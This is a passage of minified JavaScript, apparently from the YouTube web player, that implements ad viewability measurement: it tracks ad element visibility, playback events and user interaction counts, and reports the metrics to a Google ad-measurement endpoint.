Rm=function(x,T,t){Bf.call(this,null,x,T,t);this.J=x.isActive();this.N=0};
PY=function(x){return[x.top,x.left,x.bottom,x.right]};
S5=function(x,T,t,u,H,I){I=I===void 0?new Mz:I;tp.call(this,T,t,u);this.QG=H;this.O4=0;this.DO={};this.Sx=new jCD;this.Ge={};this.ub="";this.mu=null;this.ra=!1;this.C=[];this.BZ=I.Z();this.D=I.j();this.K=null;this.j=-1;this.nf=this.S=void 0;this.jY=this.ZZ=0;this.Om=-1;this.SY=this.tQ=!1;this.Hv=this.J=this.Z=this.Zi=this.Lz=0;new CE;this.hQ=this.G9=0;this.AQ=-1;this.gE=0;this.N=g.qY;this.uG=[this.oa()];this.tM=2;this.Hr={};this.Hr.pause="p";this.Hr.resume="r";this.Hr.skip="s";this.Hr.mute="m";this.Hr.unmute=
"um";this.Hr.exitfullscreen="ef";this.T=null;this.Ee=this.Cz=!1;this.hM=Math.floor(Date.now()/1E3-1704067200);this.QU=0};
cY=function(x){x.hasCompleted=!0;x.gE!=0&&(x.gE=3)};
YJ=function(x){return x===void 0?x:Number(x)?U9(x,3):0};
US=function(x,T){return x.uG[T!=null&&T<x.uG.length?T:x.uG.length-1]};
M33=function(x){var T=!!IF(L$().Ru,"umt");return x.S||!T&&!x.nf?0:1};
AK5=function(x,T){x.z2()?T=0:x.W$==-1?T=0:(T-=x.W$,T=T>Math.max(1E4,x.j/3)?0:T);var t=x.N(x)||{};t=t.currentTime!==void 0?t.currentTime:x.ZZ;var u=t-x.ZZ,H=0;u>=0?(x.jY+=T,x.hQ+=Math.max(T-u,0),H=Math.min(u,x.jY)):x.G9+=Math.abs(u);u!=0&&(x.jY=0);x.AQ==-1&&u>0&&(x.AQ=Xr>=0?OL()-Xr:-1);x.ZZ=t;return H};
RzH=function(x,T){h2(x.D,function(t){return t.K==T.K})||x.D.push(T)};
P63=function(x){var T=O9(x.g_().C,1);return bI(x,T)};
bI=function(x,T,t){return T>=15E3?!0:x.tQ?(t===void 0?0:t)?!0:x.j>0?T>=x.j/2:x.Om>0?T>=x.Om:!1:!1};
SpJ=function(x){var T=U9(x.H_.Jo,2),t=x.Sx.j,u=x.H_,H=US(x),I=YJ(H.K),E=YJ(H.D),Z=YJ(u.volume),e=U9(H.N,2),l=U9(H.jY,2),m=U9(u.Jo,2),d=U9(H.uG,2),M=U9(H.Om,2);u=U9(u.J$,2);var A=x.zp().clone().round();x=x.aW&&x.aW.j?(x.aW?x.aW.j:null).clone().round():null;H=XJ(H,!1);return{jmW:T,y7:t,Tz:I,uY:E,cH:Z,hD:e,Po:l,Jo:m,M$:d,Ul:M,J$:u,position:A,pJ:x,q$:H}};
YpH=function(x,T){cKv(x.C,T,function(){return{jmW:0,y7:void 0,Tz:-1,uY:-1,cH:-1,hD:-1,Po:-1,Jo:-1,M$:-1,Ul:-1,J$:-1,position:void 0,pJ:void 0,q$:[]}});
x.C[T]=SpJ(x)};
cKv=function(x,T,t){for(var u=x.length;u<T+1;)x.push(t()),u++};
zs=function(x,T,t){var u=x.Ge[T];if(u!=null)return u;u=U6V(x,T);var H=rg(rT,function(I){return I==T});
x=bs4(x,u,u,t,rK5[rT[H]]);T=="fully_viewable_audible_half_duration_impression"&&(x.std="csm");return x};
kJ=function(x,T,t){var u=[T];if(x!=T||t!=T)u.unshift(x),u.push(t);return u};
bs4=function(x,T,t,u,H){if(x.QW)return{"if":0,vs:0};var I=x.zp().clone().round(),E=x.aW?x.aW.j:null,Z=vf(),e=L$(),l=x.g_(),m=x.aW?x.aW.getName():"ns",d={};d["if"]=Z.j?1:void 0;d.sdk=x.K?x.K:void 0;d.t=x.timeCreated;d.p=[I.top,I.left,I.bottom,I.right];I&&E&&!o_(E,I)&&(I=E.round(),d.cp=[I.top,I.left,I.bottom,I.right]);d.tos=Qa(l.Z,!1);d.mtos=XJ(l);d.mcvt=l.AQ.j;d.ps=void 0;I=lI(l,OL(),x.z2());d.vht=I;d.mut=l.Cz.j;d.a=YJ(x.H_.volume);d.mv=YJ(l.D);d.fs=x.i8?1:0;d.ft=l.ZZ.C;d.at=l.T.C;d.as=l.K>0?1:0;d.atos=
Qa(l.C);d.ssb=Qa(l.Ee,!1);d.amtos=C7v(l.C,!1);d.uac=x.Lz;d.vpt=l.j.C;m=="nio"&&(d.nio=1,d.avms="nio");d.gmm="4";d.gdr=bI(x,l.j.C,!0)?1:0;d.efpf=x.tM;if(m=="gsv"||m=="nis")m=x.aW,m.N>0&&(d.nnut=m.N);d.tcm=M33(x);d.nmt=x.G9;d.bt=x.hQ;d.pst=x.AQ;d.vpaid=x.S;d.dur=x.j;d.vmtime=x.ZZ;d.is=x.Sx.j;x.C.length>=1&&(d.i0=x.C[0].y7,d.a0=[x.C[0].cH],d.c0=[x.C[0].Jo],d.ss0=[x.C[0].J$],m=x.C[0].position,I=x.C[0].pJ,d.p0=m?PY(m):void 0,m&&I&&!o_(I,m)&&(d.cp0=PY(I)));x.C.length>=2&&(d.i1=x.C[1].y7,d.a1=kJ(x.C[1].Tz,
x.C[1].cH,x.C[1].uY),d.c1=kJ(x.C[1].hD,x.C[1].Jo,x.C[1].Po),d.ss1=kJ(x.C[1].M$,x.C[1].J$,x.C[1].Ul),m=x.C[1].position,I=x.C[1].pJ,d.p1=m?PY(m):void 0,m&&I&&!o_(I,m)&&(d.cp1=PY(I)),d.mtos1=x.C[1].q$);x.C.length>=3&&(d.i2=x.C[2].y7,d.a2=kJ(x.C[2].Tz,x.C[2].cH,x.C[2].uY),d.c2=kJ(x.C[2].hD,x.C[2].Jo,x.C[2].Po),d.ss2=kJ(x.C[2].M$,x.C[2].J$,x.C[2].Ul),m=x.C[2].position,I=x.C[2].pJ,d.p2=m?PY(m):void 0,m&&I&&!o_(I,m)&&(d.cp2=PY(I)),d.mtos2=x.C[2].q$);x.C.length>=4&&(d.i3=x.C[3].y7,d.a3=kJ(x.C[3].Tz,x.C[3].cH,
x.C[3].uY),d.c3=kJ(x.C[3].hD,x.C[3].Jo,x.C[3].Po),d.ss3=kJ(x.C[3].M$,x.C[3].J$,x.C[3].Ul),m=x.C[3].position,I=x.C[3].pJ,d.p3=m?PY(m):void 0,m&&I&&!o_(I,m)&&(d.cp3=PY(I)),d.mtos3=x.C[3].q$);d.cs=lrq(x.Sx);T&&(d.ic=ezH(x.Sx),d.dvpt=l.j.Z,d.dvs=wl(l.Z,.5),d.dfvs=wl(l.Z,1),d.davs=wl(l.C,.5),d.dafvs=wl(l.C,1),t&&(l.j.Z=0,QAm(l.Z),QAm(l.C)),x.RY()&&(d.dtos=l.Hv,d.dav=l.S,d.dtoss=x.O4+1,t&&(l.Hv=0,l.S=0,x.O4++)),d.dat=l.T.Z,d.dft=l.ZZ.Z,t&&(l.T.Z=0,l.ZZ.Z=0));d.ps=[Z.T.width,Z.T.height];d.bs=[Td(Z.C),Z.C.getHeight()];
d.scs=[Z.K.width,Z.K.height];d.dom=Z.domain;x.Zi&&(d.vds=x.Zi);if(x.D.length>0||x.BZ)T=g.o2(x.D),x.BZ&&T.push(x.BZ),d.pings=g.r7(T,function(M){return M.toString()});
T=g.r7(g.ES(x.D,function(M){return M.D()}),function(M){return M.getId()});
XXD(T);d.ces=T;x.Z&&(d.vmer=x.Z);x.J&&(d.vmmk=x.J);x.Hv&&(d.vmiec=x.Hv);d.avms=x.aW?x.aW.getName():"ns";x.aW&&g.V9(d,x.aW.Kx());u?(d.c=U9(x.H_.Jo,2),d.ss=U9(x.H_.J$,2)):d.tth=OL()-zzf;d.mc=U9(l.jY,2);d.nc=U9(l.N,2);d.mv=YJ(l.D);d.nv=YJ(l.K);d.lte=U9(x.N3,2);u=US(x,H);XJ(l);d.qmtos=XJ(u);d.qnc=U9(u.N,2);d.qmv=YJ(u.D);d.qnv=YJ(u.K);d.qas=u.K>0?1:0;d.qi=x.ub;d.avms||(d.avms="geo");d.psm=l.hQ.C;d.psv=l.hQ.getValue();d.psfv=l.tQ.getValue();d.psa=l.mu.getValue();e=dYv(e.Ru);e.length&&(d.veid=e);x.T&&g.V9(d,
HsD(x.T));d.avas=x.ag();d.vs=x.iP();d.co=k2H(x);d.tm=l.QU;d.tu=l.nf;return d};
U6V=function(x,T){if(g.wy(Fl3,T))return!0;var t=x.DO[T];return t!==void 0?(x.DO[T]=!0,!t):!1};
k2H=function(x){var T=x.QU.toString(10).padStart(2,"0");T=""+x.hM+T;x.QU<99&&x.QU++;return T};
vL3=function(){this.C={};var x=fI();FP(this,x,document);var T=hzJ();try{if("1"==T){for(var t=x.parent;t!=x.top;t=t.parent)FP(this,t,t.document);FP(this,x.top,x.top.document)}}catch(u){}};
hzJ=function(){var x=document.documentElement;try{if(!RF(fI().top))return"2";var T=[],t=fI(x.ownerDocument);for(x=t;x!=t.top;x=x.parent)if(x.frameElement)T.push(x.frameElement);else break;return T&&T.length!=0?"1":"0"}catch(u){return"2"}};
FP=function(x,T,t){xJ(t,"mousedown",function(){return V3J(x)},301);
xJ(T,"scroll",function(){return G2C(x)},302);
xJ(t,"touchmove",function(){return Llq(x)},303);
xJ(t,"mousemove",function(){return nLf(x)},304);
xJ(t,"keydown",function(){return ar3(x)},305)};
V3J=function(x){g.Mg(x.C,function(T){T.j>1E5||++T.j})};
G2C=function(x){g.Mg(x.C,function(T){T.C>1E5||++T.C})};
Llq=function(x){g.Mg(x.C,function(T){T.C>1E5||++T.C})};
ar3=function(x){g.Mg(x.C,function(T){T.Z>1E5||++T.Z})};
nLf=function(x){g.Mg(x.C,function(T){T.K>1E5||++T.K})};
gLX=function(){this.C=[];this.Z=[]};
hp=function(x,T){return g.Oh(x.C,function(t){return t.ub==T})};
BwV=function(x,T){return T?g.Oh(x.C,function(t){return t.PD.Fn==T}):null};
Wl4=function(x,T){return g.Oh(x.Z,function(t){return t.B$()==2&&t.ub==T})};
VU=function(){var x=vY;return x.C.length==0?x.Z:x.Z.length==0?x.C:g.Tq(x.Z,x.C)};
D63=function(x,T){x=T.B$()==1?x.C:x.Z;var t=pC(x,function(u){return u==T});
return t!=-1?(x.splice(t,1),T.aW&&T.aW.unobserve(),T.dispose(),!0):!1};
yKV=function(x){var T=vY;if(D63(T,x)){switch(x.B$()){case 0:var t=function(){return null};
case 2:t=function(){return Wl4(T,x.ub)};
break;case 1:t=function(){return hp(T,x.ub)}}for(var u=t();u;u=t())D63(T,u)}};
NwJ=function(x){var T=vY;x=g.ES(x,function(t){return!BwV(T,t.PD.Fn)});
T.C.push.apply(T.C,g.U(x))};
JKJ=function(x){var T=[];g.lg(x,function(t){h2(vY.C,function(u){return u.PD.Fn===t.PD.Fn&&u.ub===t.ub})||(vY.C.push(t),T.push(t))})};
Gs=function(){this.C=this.Z=null};
C6m=function(x,T){function t(u,H){T(u,H)}
if(x.Z==null)return!1;x.C=g.Oh(x.Z,function(u){return u!=null&&u.BF()});
x.C&&(x.C.init(t)?ke3(x.C.C):T(x.C.C.h5(),x.C));return x.C!=null};
L5=function(x){x=QCf(x);Wf.call(this,x.length?x[x.length-1]:new nE(lO,0));this.j=x;this.Z=null};
QCf=function(x){if(!x.length)return[];x=(0,g.ES)(x,function(t){return t!=null&&t.gA()});
for(var T=1;T<x.length;T++)a_(x[T-1],x[T]);return x};
n5=function(x,T,t,u){Bf.call(this,x,T,t,u);this.jY=this.ZZ=this.N=this.J=this.K=null};
am=function(x){return x.K&&x.K.takeRecords?x.K.takeRecords():[]};
Osf=function(x){if(!x.element)return!1;var T=x.element,t=x.Z.C.j,u=L$().C.C;x.K=new t.IntersectionObserver(Gu(u,function(H){return gT(x,H)}),pLJ);
u=Gu(u,function(){x.K.unobserve(T);x.K.observe(T);gT(x,am(x))});
t.ResizeObserver?(x.J=new t.ResizeObserver(u),x.J.observe(T)):t.MutationObserver&&(x.N=new g.BX.MutationObserver(u),x.N.observe(T,{attributes:!0,childList:!0,characterData:!0,subtree:!0}));x.K.observe(T);gT(x,am(x));return!0};
gT=function(x,T){try{if(T.length){x.ZZ||(x.ZZ=OL());var t=frV(T),u=Ru4(x.element,x.Z.C.j),H=u.x,I=u.y;x.j=new x4(Math.round(I),Math.round(H)+t.boundingClientRect.width,Math.round(I)+t.boundingClientRect.height,Math.round(H));x.C=vFv(x,x.j);var E=c5X(t.intersectionRect);x.D=t2(E,x.j.left-E.left,x.j.top-E.top)}}catch(Z){x.unobserve(),p$(299,Z)}};
frV=function(x){return ka(x,function(T,t){return T.time>t.time?T:t},x[0])};
BY=function(x){x=x===void 0?lO:x;Wf.call(this,new nE(x,2))};
WY=function(){var x=wLm();nE.call(this,lO.top,x,"geo")};
wLm=function(){L$();var x=vf();return x.j||x.Z?0:2};
Klf=function(){};
DK=function(){this.done=!1;this.C={x8:0,Yu:0,kT9:0,i9:0,Cj:-1,vz:0,X5:0,S1:0,U0v:0};this.T=null;this.D=!1;this.j=null;this.N=0;this.Z=new LE(this)};
Nz=function(){var x=yU;x.D||(x.D=!0,XL3(x,function(){return x.K.apply(x,g.U(g.FD.apply(0,arguments)))}),x.K())};
xjJ=function(){Fr(Klf);var x=Fr(Gs);x.C!=null&&x.C.C?ke3(x.C.C):vf().update(lO)};
Jp=function(x,T,t){if(!x.done&&(x.Z.cancel(),T.length!=0)){x.j=null;try{xjJ();var u=OL();L$().T=u;if(Fr(Gs).C!=null)for(var H=0;H<T.length;H++)t3V(T[H],u,t);for(u=0;u<T.length;u++)sCD(T[u]);++x.C.i9}finally{t?g.lg(T,function(I){I.H_.Jo=0}):x.Z.schedule()}}};
XL3=function(x,T){if(!x.T){T=C$(142,T);vD();var t;Va.visibilityState?t="visibilitychange":Va.mozVisibilityState?t="mozvisibilitychange":Va.webkitVisibilityState&&(t="webkitvisibilitychange");t&&d7(Va,t,T,{capture:!1})&&(x.T=T)}};
T7i=function(){var x=Fr(Gs);if(x.C!=null){var T=x.C;g.lg(VU(),function(t){return Twf(t,T)})}};
oa4=function(x,T){x=x.N;w7&&(x+=T-K$);return x};
tCD=function(x){x=x===void 0?function(){return{}}:x;
yi.LY="av-js";Dj.C=.01;IMq([function(T){var t=L$(),u={};u=(u.bin=t.Z,u.type="error",u);t=EL(t.Ru);if(!yU.j){var H=yU,I=lO.document,E=f$>=0?OL()-f$:-1,Z=OL();H.C.Cj==-1&&(E=Z);var e=vf(),l=L$(),m=EL(l.Ru),d=VU();try{if(d.length>0){var M=e.C;M&&(m.bs=[Td(M),M.getHeight()]);var A=e.T;A&&(m.ps=[A.width,A.height]);lO.screen&&(m.scs=[lO.screen.width,lO.screen.height])}else m.url=encodeURIComponent(lO.location.href.substring(0,512)),I.referrer&&(m.referrer=encodeURIComponent(I.referrer.substring(0,512)));
m.tt=E;m.pt=f$;m.bin=l.Z;lO.google_osd_load_pub_page_exp!==void 0&&(m.olpp=lO.google_osd_load_pub_page_exp);m.deb=[1,H.C.x8,H.C.Yu,H.C.i9,H.C.Cj,0,H.Z.Z,H.C.vz,H.C.X5,H.C.S1,H.C.U0v,-1].join(";");m.tvt=oa4(H,Z);e.Z&&(m.inapp=1);if(lO!==null&&lO!=lO.top){d.length>0&&(m.iframe_loc=encodeURIComponent(lO.location.href.substring(0,512)));var R=e.N;m.is=[Td(R),R.getHeight()]}}catch(Y){m.error=1}yU.j=m}M=g.hq(yU.j);A=L$().C;IF(A.j,"prf")==1?(R=new Vi,H=A.C,I=0,H.C>-1&&(I=H.j.C.now()-H.C),R=f7(R,1,HB(H.K+
I),0),H=A.C,R=f7(R,5,q5(H.C>-1?H.Z+1:H.Z),0),R=f7(R,2,PB(A.Z.C.j()),"0"),R=f7(R,3,PB(A.Z.C.Z()),"0"),A=f7(R,4,PB(A.Z.C.C()),"0"),R={},A=(R.pf=g.Am(A.C()),R)):A={};g.V9(M,A);g.V9(T,u,t,M,x())}])};
urJ=function(){var x=sFv||lO;if(!x)return"";var T=[];if(!x.location||!x.location.href)return"";T.push("url="+encodeURIComponent(x.location.href.substring(0,512)));x.document&&x.document.referrer&&T.push("referrer="+encodeURIComponent(x.document.referrer.substring(0,512)));return T.join("&")};
C5=function(){var x="youtube.player.web_20250224_01_RC00".match(/_(\d{8})_RC\d+$/)||"youtube.player.web_20250224_01_RC00".match(/_(\d{8})_\d+_\d+$/)||"youtube.player.web_20250224_01_RC00".match(/_(\d{8})_\d+\.\d+$/)||"youtube.player.web_20250224_01_RC00".match(/_(\d{8})_\d+_RC\d+$/),T;if(((T=x)==null?void 0:T.length)==2)return x[1];x="youtube.player.web_20250224_01_RC00".match(/.*_(\d{2})\.(\d{4})\.\d+_RC\d+$/);var t;return((t=x)==null?void 0:t.length)==3?"20"+x[1]+x[2]:null};
$jX=function(){return"av.default_js".includes("ima_html5_sdk")?{xv:"ima",P$:null}:"av.default_js".includes("ima_native_sdk")?{xv:"nima",P$:null}:"av.default_js".includes("admob-native-video-javascript")?{xv:"an",P$:null}:"youtube.player.web_20250224_01_RC00".includes("cast_js_sdk")?{xv:"cast",P$:C5()}:"youtube.player.web_20250224_01_RC00".includes("youtube.player.web")?{xv:"yw",P$:C5()}:"youtube.player.web_20250224_01_RC00".includes("outstream_web_client")?{xv:"out",P$:C5()}:"youtube.player.web_20250224_01_RC00".includes("drx_rewarded_web")?
{xv:"r",P$:C5()}:"youtube.player.web_20250224_01_RC00".includes("gam_native_web_video")?{xv:"n",P$:C5()}:"youtube.player.web_20250224_01_RC00".includes("admob_interstitial_video")?{xv:"int",P$:C5()}:{xv:"j",P$:null}};
OS=function(x,T){var t={sv:"966"};QU!==null&&(t.v=QU);t.cb=H$D;t.nas=vY.C.length;t.msg=x;T!==void 0&&(x=i$3(T))&&(t.e=p5[x]);return t};
f5=function(x){return cE(x,"custom_metric_viewable")};
i$3=function(x){var T=f5(x)?"custom_metric_viewable":x.toLowerCase();return rg(rT,function(t){return t==T})};
Ijf=function(){this.C=void 0;this.Z=!1;this.j=0;this.K=-1;this.T="tos"};
Z$f=function(x){try{var T=x.split(",");return T.length>g.YO(Ea4).length?null:ka(T,function(t,u){u=u.toLowerCase().split("=");if(u.length!=2||qLH[u[0]]===void 0||!qLH[u[0]](u[1]))throw Error("Entry ("+u[0]+", "+u[1]+") is invalid.");t[u[0]]=u[1];return t},{})}catch(t){return null}};
jFv=function(x,T){if(x.C==void 0)return 0;switch(x.T){case "mtos":return x.Z?fE(T.C,x.C):fE(T.Z,x.C);case "tos":return x.Z?O9(T.C,x.C):O9(T.Z,x.C)}return 0};
wT=function(x,T,t,u){mL.call(this,T,u);this.N=x;this.J=t};
K5=function(){};
XP=function(x){mL.call(this,"fully_viewable_audible_half_duration_impression",x)};
xw=function(x){this.C=x};
Tn=function(x,T){mL.call(this,x,T)};
op=function(x){dT.call(this,"measurable_impression",x)};
t_=function(){xw.apply(this,arguments)};
sX=function(x,T,t){Rm.call(this,x,T,t)};
uN=function(x){x=x===void 0?lO:x;Wf.call(this,new nE(x,2))};
$w=function(x,T,t){Rm.call(this,x,T,t)};
Hs=function(x){x=x===void 0?lO:x;Wf.call(this,new nE(x,2))};
iN=function(){nE.call(this,lO,2,"mraid");this.hQ=0;this.jY=this.uG=!1;this.N=null;this.Z=euq(this.j);this.K.C=new x4(0,0,0,0);this.QU=!1};
Ip=function(x,T,t){x.zq("addEventListener",T,t)};
dj5=function(x){L$().K=!!x.zq("isViewable");Ip(x,"viewableChange",esJ);x.zq("getState")==="loading"?Ip(x,"ready",ljD):mj4(x)};
mj4=function(x){typeof x.Z.UL.AFMA_LIDAR==="string"?(x.uG=!0,MCi(x)):(x.Z.compatibility=3,x.N="nc",x.Zw("w"))};
MCi=function(x){x.jY=!1;var T=IF(L$().Ru,"rmmt")==1,t=!!x.zq("isViewable");(T?!t:1)&&vD().setTimeout(Qi(524,function(){x.jY||(A8m(x),p$(540,Error()),x.N="mt",x.Zw("w"))}),500);
Rs3(x);Ip(x,x.Z.UL.AFMA_LIDAR,PO4)};
Rs3=function(x){var T=IF(L$().Ru,"sneio")==1,t=x.Z.UL.AFMA_LIDAR_EXP_1!==void 0,u=x.Z.UL.AFMA_LIDAR_EXP_2!==void 0;(T=T&&u)&&(x.Z.UL.AFMA_LIDAR_EXP_2=!0);t&&(x.Z.UL.AFMA_LIDAR_EXP_1=!T)};
A8m=function(x){x.zq("removeEventListener",x.Z.UL.AFMA_LIDAR,PO4);x.uG=!1};
SLJ=function(x,T){if(x.zq("getState")==="loading")return new g.lu(-1,-1);T=x.zq(T);if(!T)return new g.lu(-1,-1);x=parseInt(T.width,10);T=parseInt(T.height,10);return isNaN(x)||isNaN(T)?new g.lu(-1,-1):new g.lu(x,T)};
ljD=function(){try{var x=Fr(iN);x.zq("removeEventListener","ready",ljD);mj4(x)}catch(T){p$(541,T)}};
PO4=function(x,T){try{var t=Fr(iN);t.jY=!0;var u=x?new x4(x.y,x.x+x.width,x.y+x.height,x.x):new x4(0,0,0,0);var H=OL(),I=Gd();var E=new s9(H,I,t);E.C=u;E.volume=T;t.Ud(E)}catch(Z){p$(542,Z)}};
esJ=function(x){var T=L$(),t=Fr(iN);x&&!T.K&&(T.K=!0,t.QU=!0,t.N&&t.Zw("w",!0))};
EX=function(){this.isInitialized=!1;this.C=this.Z=null;var x={};this.N=(x.start=this.rQY,x.firstquartile=this.IZ9,x.midpoint=this.Djc,x.thirdquartile=this.MY7,x.complete=this.lZQ,x.error=this.Off,x.pause=this.IS,x.resume=this.mS,x.skip=this.h7c,x.viewable_impression=this.c$,x.mute=this.bO,x.unmute=this.bO,x.fullscreen=this.QUv,x.exitfullscreen=this.yQZ,x.fully_viewable_audible_half_duration_impression=this.c$,x.measurable_impression=this.c$,x.abandon=this.IS,x.engagedview=this.c$,x.impression=this.c$,
x.creativeview=this.c$,x.progress=this.bO,x.custom_metric_viewable=this.c$,x.bufferstart=this.IS,x.bufferfinish=this.mS,x.audio_measurable=this.c$,x.audio_audible=this.c$,x);x={};this.J=(x.overlay_resize=this.Tym,x.abandon=this.Y2,x.close=this.Y2,x.collapse=this.Y2,x.overlay_unmeasurable_impression=function(T){return zs(T,"overlay_unmeasurable_impression",Gd())},x.overlay_viewable_immediate_impression=function(T){return zs(T,"overlay_viewable_immediate_impression",Gd())},x.overlay_unviewable_impression=
function(T){return zs(T,"overlay_unviewable_impression",Gd())},x.overlay_viewable_end_of_session_impression=function(T){return zs(T,"overlay_viewable_end_of_session_impression",Gd())},x);
L$().Z=3;c83(this);this.j=null};
qV=function(x,T,t,u){x=x.t4(null,u,!0,T);x.K=t;NwJ([x]);return x};
YLJ=function(x,T,t){lHD(T);var u=x.C;g.lg(T,function(H){var I=g.r7(H.criteria,function(E){var Z=Z$f(E);if(Z==null)E=null;else if(E=new Ijf,Z.visible!=null&&(E.C=Z.visible/100),Z.audible!=null&&(E.Z=Z.audible==1),Z.time!=null){var e=Z.timetype=="mtos"?"mtos":"tos",l=B53(Z.time,"%")?"%":"ms";Z=parseInt(Z.time,10);l=="%"&&(Z/=100);E.setTime(Z,l,e)}return E});
h2(I,function(E){return E==null})||RzH(t,new wT(H.id,H.event,I,u))})};
UjH=function(){var x=[],T=L$();x.push(Fr(WY));IF(T.Ru,"mvp_lv")&&x.push(Fr(iN));T=[new uN,new Hs];T.push(new L5(x));T.push(new BY(lO));return T};
b$V=function(x){if(!x.isInitialized){x.isInitialized=!0;try{var T=OL(),t=L$(),u=vf();f$=T;t.j=79463069;x.Z!=="o"&&(sFv=FDi(lO));if(DY5()){yU.C.Yu=0;yU.C.Cj=OL()-T;var H=UjH(),I=Fr(Gs);I.Z=H;C6m(I,function(){Zu()})?yU.done||(T7i(),a_(I.C.C,x),Nz()):u.j?Zu():Nz()}else jE=!0}catch(E){throw vY.reset(),E;
}}};
lN=function(x){yU.Z.cancel();eE=x;yU.done=!0};
mf=function(x){if(x.Z)return x.Z;var T=Fr(Gs).C;if(T)switch(T.getName()){case "nis":x.Z="n";break;case "gsv":x.Z="m"}x.Z||(x.Z="h");return x.Z};
dX=function(x,T,t){if(x.C==null)return T.Zi|=4,!1;x=r84(x.C,t,T);T.Zi|=x;return x==0};
Zu=function(){var x=[new BY(lO)],T=Fr(Gs);T.Z=x;C6m(T,function(){lN("i")})?yU.done||(T7i(),Nz()):lN("i")};
zsC=function(x,T){if(!x.ra){var t=zs(x,"start",Gd());t=x.QG.C(t).C;var u={id:"lidarv"};u.r=T;u.sv="966";QU!==null&&(u.v=QU);gd(t,function(H,I){return u[H]=H=="mtos"||H=="tos"?I:encodeURIComponent(I)});
T=urJ();gd(T,function(H,I){return u[H]=encodeURIComponent(I)});
T="//pagead2.googlesyndication.com/pagead/gen_204?"+Nn(ya(new Dt,u));WnH(T);x.ra=!0}};
MV=function(x,T,t){Jp(yU,[x],!Gd());YpH(x,t);t!=4&&cKv(x.uG,t,x.oa);return zs(x,T,Gd())};
c83=function(x){tCD(function(){var T=ku3();x.Z!=null&&(T.sdk=x.Z);var t=Fr(Gs);t.C!=null&&(T.avms=t.C.getName());return T})};
F0v=function(x,T,t,u){var H=BwV(vY,t);H!==null&&H.ub!==T&&(x.MG(H),H=null);H||(T=x.t4(t,OL(),!1,T),vY.Z.length==0&&(L$().j=79463069),JKJ([T]),H=T,H.K=mf(x),u&&(H.mu=u));return H};
hsH=function(x,T){var t=x[T];t!==void 0&&t>0&&(x[T]=Math.floor(t*1E3))};
ku3=function(){var x=vf(),T={},t={},u={};return Object.assign({},(T.sv="966",T),QU!==null&&(t.v=QU,t),(u["if"]=x.j?"1":"0",u.nas=String(vY.C.length),u))};
A_=function(x){mL.call(this,"audio_audible",x)};
Rp=function(x){dT.call(this,"audio_measurable",x)};
Ps=function(){xw.apply(this,arguments)};
SE=function(){};
vaq=function(x){this.C=x};
r84=function(x,T,t){x=x.Z();if(typeof x==="function"){var u={};var H={};u=Object.assign({},QU!==null&&(u.v=QU,u),(H.sv="966",H.cb=H$D,H.e=VCq(T),H));H=zs(t,T,Gd());g.V9(u,H);t.Ge[T]=H;u=t.B$()==2?Baf(u).join("&"):t.QG.C(u).C;try{return x(t.ub,u,T),0}catch(I){return 2}}else return 1};
VCq=function(x){var T=f5(x)?"custom_metric_viewable":x;x=rg(rT,function(t){return t==T});
return p5[x]};
cs=function(){EX.call(this);this.D=null;this.T=!1;this.K="ACTIVE_VIEW_TRAFFIC_TYPE_UNSPECIFIED"};
GuX=function(x,T,t){t=t.opt_configurable_tracking_events;x.C!=null&&Array.isArray(t)&&YLJ(x,t,T)};
L0f=function(x,T,t){var u=hp(vY,T);u||(u=t.opt_nativeTime||-1,u=qV(x,T,mf(x),u),t.opt_osdId&&(u.mu=t.opt_osdId));return u};
naJ=function(x,T,t){var u=hp(vY,T);u||(u=qV(x,T,"n",t.opt_nativeTime||-1));return u};
ajv=function(x,T){var t=hp(vY,T);t||(t=qV(x,T,"h",-1));return t};
gaq=function(x){L$();switch(mf(x)){case "b":return"ytads.bulleit.triggerExternalActivityEvent";case "n":return"ima.bridge.triggerExternalActivityEvent";case "h":case "m":case "ml":return"ima.common.triggerExternalActivityEvent"}return null};
Djq=function(x,T,t,u){t=t===void 0?{}:t;var H={};g.V9(H,{opt_adElement:void 0,opt_fullscreen:void 0},t);var I=x.OO(T,t);t=I?I.QG:x.dX();if(H.opt_bounds)return t.C(OS("ol",u));if(u!==void 0)if(i$3(u)!==void 0)if(jE)x=OS("ue",u);else if(b$V(x),eE=="i")x=OS("i",u),x["if"]=0;else if(T=x.OO(T,H)){b:{eE=="i"&&(T.QW=!0);I=H.opt_fullscreen;I!==void 0&&sS(T,!!I);var E;if(I=!vf().Z)(I=bb(g.FF(),"CrKey")&&!(bb(g.FF(),"CrKey")&&bb(g.FF(),"SmartSpeaker"))||bb(g.FF(),"PlayStation")||bb(g.FF(),"Roku")||Uqf()||bb(g.FF(),
"Xbox"))||(I=g.FF(),I=bb(I,"AppleTV")||bb(I,"Apple TV")||bb(I,"CFNetwork")||bb(I,"tvOS")),I||(I=g.FF(),I=bb(I,"sdk_google_atv_x86")||bb(I,"Android TV")),I=!I;I&&(vD(),I=Mj(Va)===0);if(E=I){switch(T.B$()){case 1:zsC(T,"pv");break;case 2:x.VG(T)}lN("pv")}I=u.toLowerCase();if(E=!E)E=IF(L$().Ru,"ssmol")&&I==="loaded"?!1:g.wy(B7i,I);if(E&&T.gE==0){eE!="i"&&(yU.done=!1);E=H!==void 0?H.opt_nativeTime:void 0;Xr=E=typeof E==="number"?E:OL();T.LW=!0;var Z=Gd();T.gE=1;T.DO={};T.DO.start=!1;T.DO.firstquartile=
!1;T.DO.midpoint=!1;T.DO.thirdquartile=!1;T.DO.complete=!1;T.DO.resume=!1;T.DO.pause=!1;T.DO.skip=!1;T.DO.mute=!1;T.DO.unmute=!1;T.DO.viewable_impression=!1;T.DO.measurable_impression=!1;T.DO.fully_viewable_audible_half_duration_impression=!1;T.DO.fullscreen=!1;T.DO.exitfullscreen=!1;T.O4=0;Z||(T.g_().J=E);Jp(yU,[T],!Z)}(E=T.Hr[I])&&ZK(T.Sx,E);IF(L$().Ru,"fmd")||g.wy(W0C,I)&&T.BZ&&T.BZ.Z(T,null);switch(T.B$()){case 1:var e=f5(I)?x.N.custom_metric_viewable:x.N[I];break;case 2:e=x.J[I]}if(e&&(u=e.call(x,
T,H,u),IF(L$().Ru,"fmd")&&g.wy(W0C,I)&&T.BZ&&T.BZ.Z(T,null),u!==void 0)){H=OS(void 0,I);g.V9(H,u);u=H;break b}u=void 0}T.gE==3&&x.MG(T);x=u}else x=OS("nf",u);else x=void 0;else jE?x=OS("ue"):I?(x=OS(),g.V9(x,bs4(I,!0,!1,!1))):x=OS("nf");return typeof x==="string"?t.C():t.C(x)};
y8H=function(x,T){T&&(x.K=T)};
N73=function(x){var T={};return T.viewability=x.C,T.googleViewability=x.Z,T};
